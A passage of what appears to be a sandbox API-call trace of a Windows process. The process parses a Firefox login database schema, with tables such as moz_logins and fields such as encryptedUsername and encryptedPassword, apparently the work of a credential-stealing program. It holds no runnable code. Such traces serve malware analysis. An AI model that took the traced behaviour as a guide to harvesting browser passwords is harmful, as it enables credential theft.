lstrcmpiA (lpString1="CONSTRAINT", lpString2="timeLastUsed") returned -1 [0048.098] lstrcmpiA (lpString1="PRIMARY", lpString2="timeLastUsed") returned -1 [0048.098] lstrcmpiA (lpString1="UNIQUE", lpString2="timeLastUsed") returned 1 [0048.098] lstrcmpiA (lpString1="CHECK", lpString2="timeLastUsed") returned -1 [0048.098] lstrcmpiA (lpString1="FOREIGN", lpString2="timeLastUsed") returned -1 [0048.098] lstrlenA (lpString="timeLastUsed") returned 12 [0048.098] lstrcmpiA (lpString1="timeLastUsed", lpString2="hostname") returned 1 [0048.098] lstrcmpiA (lpString1="timeLastUsed", lpString2="encryptedPassword") returned 1 [0048.098] lstrcmpiA (lpString1="timeLastUsed", lpString2="encryptedUsername") returned 1 [0048.098] lstrlenA (lpString="timePasswordChanged INTEGER") returned 27 [0048.098] StrStrIA (lpFirst="timePasswordChanged INTEGER", lpSrch=" ") returned=" INTEGER" [0048.098] lstrlenA (lpString="timePasswordChanged") returned 19 [0048.098] lstrcmpiA (lpString1="CONSTRAINT", lpString2="timePasswordChanged") returned -1 [0048.098] lstrcmpiA (lpString1="PRIMARY", lpString2="timePasswordChanged") returned -1 [0048.098] lstrcmpiA (lpString1="UNIQUE", lpString2="timePasswordChanged") returned 1 [0048.098] lstrcmpiA (lpString1="CHECK", lpString2="timePasswordChanged") returned -1 [0048.098] lstrcmpiA (lpString1="FOREIGN", lpString2="timePasswordChanged") returned -1 [0048.098] lstrlenA (lpString="timePasswordChanged") returned 19 [0048.099] lstrcmpiA (lpString1="timePasswordChanged", lpString2="hostname") returned 1 [0048.099] lstrcmpiA (lpString1="timePasswordChanged", lpString2="encryptedPassword") returned 1 [0048.099] lstrcmpiA (lpString1="timePasswordChanged", lpString2="encryptedUsername") returned 1 [0048.099] lstrlenA (lpString="timesUsed INTEGER)") returned 18 [0048.099] StrStrIA (lpFirst="timesUsed INTEGER)", lpSrch=" ") returned=" INTEGER)" [0048.099] lstrlenA (lpString="timesUsed") returned 9 [0048.099] lstrcmpiA (lpString1="CONSTRAINT", lpString2="timesUsed") returned -1 [0048.099] lstrcmpiA (lpString1="PRIMARY", lpString2="timesUsed") returned -1 [0048.099] lstrcmpiA (lpString1="UNIQUE", lpString2="timesUsed") returned 1 [0048.099] lstrcmpiA (lpString1="CHECK", lpString2="timesUsed") returned -1 [0048.099] lstrcmpiA (lpString1="FOREIGN", lpString2="timesUsed") returned -1 [0048.099] lstrlenA (lpString="timesUsed") returned 9 [0048.099] lstrcmpiA (lpString1="timesUsed", lpString2="hostname") returned 1 [0048.099] lstrcmpiA (lpString1="timesUsed", lpString2="encryptedPassword") returned 1 [0048.099] lstrcmpiA (lpString1="timesUsed", lpString2="encryptedUsername") returned 1 [0048.099] IStream:LockRegion (This=0x76e060, libOffset=0x8000, cb=0x0, dwLockType=0x0) returned 0x0 [0048.099] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.099] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.099] IStream:LockRegion (This=0x76e060, libOffset=0x8000, cb=0x0, dwLockType=0x0) returned 0x0 [0048.099] IStream:SetSize (This=0x76e060, libNewSize=0xef893) returned 0x0 [0048.099] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.099] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.099] IStream:LockRegion (This=0x76e060, libOffset=0x8001, cb=0x0, dwLockType=0x0) returned 0x0 [0048.099] IStream:SetSize (This=0x76e060, libNewSize=0xef892) returned 0x0 [0048.099] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.099] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.099] IStream:LockRegion (This=0x76e060, libOffset=0x8003, cb=0x0, dwLockType=0x0) returned 0x0 [0048.099] IStream:SetSize (This=0x76e060, libNewSize=0xef892) returned 0x0 [0048.099] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.099] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.099] IStream:LockRegion (This=0x76e060, libOffset=0x8005, cb=0x0, dwLockType=0x0) returned 0x0 [0048.099] IStream:SetSize (This=0x76e060, libNewSize=0xef892) returned 0x0 [0048.099] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.099] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.099] IStream:LockRegion (This=0x76e060, libOffset=0x8007, cb=0x0, dwLockType=0x0) returned 0x0 [0048.099] IStream:SetSize (This=0x76e060, libNewSize=0xef893) returned 0x0 [0048.099] LocalAlloc (uFlags=0x40, uBytes=0x10080) returned 0x94115c8 [0048.099] LocalFree (hMem=0x94115c8) returned 0x0 [0048.099] LocalFree (hMem=0x73cc70) returned 0x0 [0048.099] LocalFree (hMem=0x74fb78) returned 0x0 [0048.099] LocalFree (hMem=0x74fc18) returned 0x0 [0048.099] LocalFree (hMem=0x74fcb8) returned 0x0 [0048.099] LocalFree (hMem=0x7d0b10) returned 0x0 [0048.100] LocalFree (hMem=0x721848) returned 0x0 [0048.100] IStream:LockRegion (This=0x76e060, libOffset=0x7d27, cb=0x0, dwLockType=0x0) returned 0x0 [0048.100] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.100] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.100] IStream:LockRegion (This=0x76e060, libOffset=0x7d27, cb=0x0, dwLockType=0x0) returned 0x0 [0048.100] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.100] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.100] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.100] IStream:LockRegion (This=0x76e060, libOffset=0x7d28, cb=0x0, dwLockType=0x0) returned 0x0 [0048.100] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.100] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.100] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.100] IStream:LockRegion (This=0x76e060, libOffset=0x7d29, cb=0x0, dwLockType=0x0) returned 0x0 [0048.101] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.101] LocalAlloc (uFlags=0x40, uBytes=0x8080) returned 0x7d08c0 [0048.101] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef918 | out: ppstm=0xef918*=0x76e0b0) returned 0x0 [0048.101] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.101] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.101] IStream:LockRegion (This=0x76e060, libOffset=0x7d2a, cb=0x0, dwLockType=0x0) returned 0x0 [0048.101] IStream:SetSize (This=0x76e060, libNewSize=0x7d08c0) returned 0x0 [0048.101] IStream:Commit (This=0x76e0b0, grfCommitFlags=0x7d08c0) returned 0x0 [0048.101] LocalFree (hMem=0x7d08c0) returned 0x0 [0048.101] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.101] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0048.101] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.101] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.101] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0048.101] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.101] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x716ef8 [0048.101] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.101] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.101] IStream:LockRegion (This=0x76e0b0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0048.101] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.101] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.101] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.101] IStream:LockRegion (This=0x76e0b0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0048.101] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.101] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.101] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.101] IStream:LockRegion (This=0x76e0b0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0048.101] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.101] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0048.102] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0048.102] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0048.102] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.102] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x73cc70 [0048.102] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x74fff8 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0048.102] IStream:SetSize (This=0x76e0b0, libNewSize=0x74fff8) returned 0x0 [0048.102] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x746ad0 [0048.102] LocalFree (hMem=0x74fff8) returned 0x0 [0048.102] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x74f980 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0048.102] IStream:SetSize (This=0x76e0b0, libNewSize=0x74f980) returned 0x0 [0048.102] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0048.102] LocalFree (hMem=0x74f980) returned 0x0 [0048.102] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x74f980 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0x1d, cb=0x0, dwLockType=0x0) returned 0x0 [0048.102] IStream:SetSize (This=0x76e0b0, libNewSize=0x74f980) returned 0x0 [0048.102] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x7588c8 [0048.102] LocalFree (hMem=0x74f980) returned 0x0 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0x2e, cb=0x0, dwLockType=0x0) returned 0x0 [0048.102] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8bf) returned 0x0 [0048.102] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x746b68 [0048.102] LocalAlloc (uFlags=0x40, uBytes=0xfa) returned 0x74f980 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.102] IStream:LockRegion (This=0x76e0b0, libOffset=0x2f, cb=0x0, dwLockType=0x0) returned 0x0 [0048.102] IStream:SetSize (This=0x76e0b0, libNewSize=0x74f980) returned 0x0 [0048.102] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74fa88 [0048.102] LocalFree (hMem=0x74f980) returned 0x0 [0048.102] LocalFree (hMem=0x716ef8) returned 0x0 [0048.102] IUnknown:Release (This=0x76e0b0) returned 0x0 [0048.102] lstrcmpiA (lpString1="moz_disabledHosts", lpString2="moz_logins") returned -1 [0048.102] LocalFree (hMem=0x746ad0) returned 0x0 [0048.102] LocalFree (hMem=0x758820) returned 0x0 [0048.102] LocalFree (hMem=0x7588c8) returned 0x0 [0048.102] LocalFree (hMem=0x746b68) returned 0x0 [0048.102] LocalFree (hMem=0x74fa88) returned 0x0 [0048.102] LocalFree (hMem=0x73cc70) returned 0x0 [0048.102] IStream:LockRegion (This=0x76e060, libOffset=0x7dd3, cb=0x0, dwLockType=0x0) returned 0x0 [0048.102] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e060, libOffset=0x7dd3, cb=0x0, dwLockType=0x0) returned 0x0 [0048.103] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e060, libOffset=0x7dd4, cb=0x0, dwLockType=0x0) returned 0x0 [0048.103] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.103] LocalAlloc (uFlags=0x40, uBytes=0x8080) returned 0x7d08c0 [0048.103] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef918 | out: ppstm=0xef918*=0x76e0b0) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e060, libOffset=0x7dd5, cb=0x0, dwLockType=0x0) returned 0x0 [0048.103] IStream:SetSize (This=0x76e060, libNewSize=0x7d08c0) returned 0x0 [0048.103] IStream:Commit (This=0x76e0b0, grfCommitFlags=0x7d08c0) returned 0x0 [0048.103] LocalFree (hMem=0x7d08c0) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0048.103] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.103] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x716ef8 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0048.103] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0048.103] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0048.103] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0048.103] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0048.103] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.103] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x721848 [0048.103] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x74fff8 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0048.103] IStream:SetSize (This=0x76e0b0, libNewSize=0x74fff8) returned 0x0 [0048.103] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x73cc70 [0048.103] LocalFree (hMem=0x74fff8) returned 0x0 [0048.103] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x7548d0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.103] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e0b0, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0048.104] IStream:SetSize (This=0x76e0b0, libNewSize=0x7548d0) returned 0x0 [0048.104] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x750820 [0048.104] LocalFree (hMem=0x7548d0) returned 0x0 [0048.104] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x746ad0 [0048.104] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e0b0, libOffset=0x2f, cb=0x0, dwLockType=0x0) returned 0x0 [0048.104] IStream:SetSize (This=0x76e0b0, libNewSize=0x746ad0) returned 0x0 [0048.104] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x7588c8 [0048.104] LocalFree (hMem=0x746ad0) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e0b0, libOffset=0x40, cb=0x0, dwLockType=0x0) returned 0x0 [0048.104] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8bf) returned 0x0 [0048.104] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x746ad0 [0048.104] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x74fff8 [0048.104] LocalFree (hMem=0x716ef8) returned 0x0 [0048.104] IUnknown:Release (This=0x76e0b0) returned 0x0 [0048.104] lstrcmpiA (lpString1="moz_disabledHosts", lpString2="moz_logins") returned -1 [0048.104] LocalFree (hMem=0x73cc70) returned 0x0 [0048.104] LocalFree (hMem=0x750820) returned 0x0 [0048.104] LocalFree (hMem=0x7588c8) returned 0x0 [0048.104] LocalFree (hMem=0x746ad0) returned 0x0 [0048.104] LocalFree (hMem=0x74fff8) returned 0x0 [0048.104] LocalFree (hMem=0x721848) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e060, libOffset=0x7c75, cb=0x0, dwLockType=0x0) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e060, libOffset=0x7c75, cb=0x0, dwLockType=0x0) returned 0x0 [0048.104] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e060, libOffset=0x7c76, cb=0x0, dwLockType=0x0) returned 0x0 [0048.104] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e060, libOffset=0x7c77, cb=0x0, dwLockType=0x0) returned 0x0 [0048.104] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.104] LocalAlloc (uFlags=0x40, uBytes=0x8080) returned 0x7d08c0 [0048.104] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef918 | out: ppstm=0xef918*=0x76e0b0) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e060, libOffset=0x7c78, cb=0x0, dwLockType=0x0) returned 0x0 [0048.104] IStream:SetSize (This=0x76e060, libNewSize=0x7d08c0) returned 0x0 [0048.104] IStream:Commit (This=0x76e0b0, grfCommitFlags=0x7d08c0) returned 0x0 [0048.104] LocalFree (hMem=0x7d08c0) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0048.104] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.104] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x716ef8 [0048.104] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e0b0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0048.104] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.104] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0048.105] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0048.105] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0048.105] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0048.105] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0048.105] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.105] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x73cc70 [0048.105] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x74fff8 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0048.105] IStream:SetSize (This=0x76e0b0, libNewSize=0x74fff8) returned 0x0 [0048.105] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x746ad0 [0048.105] LocalFree (hMem=0x74fff8) returned 0x0 [0048.105] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x74f980 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0xc, cb=0x0, 